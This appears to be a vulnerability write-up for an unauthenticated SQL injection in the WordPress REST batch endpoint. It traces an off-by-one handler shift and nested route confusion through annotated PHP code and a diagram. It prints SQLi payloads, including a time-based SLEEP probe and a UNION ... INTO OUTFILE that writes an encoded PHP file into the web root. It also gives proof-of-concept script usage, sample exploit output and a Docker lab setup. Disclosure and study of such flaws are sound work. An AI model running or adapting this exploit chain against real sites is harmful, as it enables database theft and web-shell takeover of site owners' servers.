if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).

docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

GRANT FILE ON *.* TO 'wp'@'%';